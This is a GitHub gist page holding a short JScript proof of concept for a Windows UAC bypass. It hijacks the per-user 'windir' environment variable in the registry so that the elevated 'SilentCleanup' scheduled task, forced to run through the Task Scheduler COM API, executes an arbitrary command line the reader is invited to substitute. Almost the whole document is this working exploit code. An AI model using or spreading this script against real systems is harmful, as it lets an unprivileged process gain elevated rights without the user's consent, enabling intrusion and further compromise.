-
-
Save tyranid/254fc320411132c8e9bd71e178c9d429 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use COM API to access Task Scheduler. | |
var service = new ActiveXObject("Schedule.Service"); | |
service.Connect(); | |
var root = service.GetFolder("\\Microsoft\\Windows\\DiskCleanup"); | |
var task = root.GetTask("SilentCleanup"); | |
// Replace this with your arbitrary command line. Note that what you call must be | |
// tolerant to trailing arguments and the windir enviroment variable won't get | |
// deleted so must be done manually otherwise things might start failing. | |
var CMD = "cmd.exe /K reg delete hkcu\\Environment /v windir /f && REM" | |
var script = new ActiveXObject("WScript.Shell"); | |
script.RegWrite("HKCU\\Environment\\windir", CMD + " ", "REG_SZ"); | |
// 2 == TASK_RUN_IGNORE_CONSTRAINTS which is needed otherwise task won't run due to Idle settings. | |
task.RunEx(null, 2, 0, ""); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment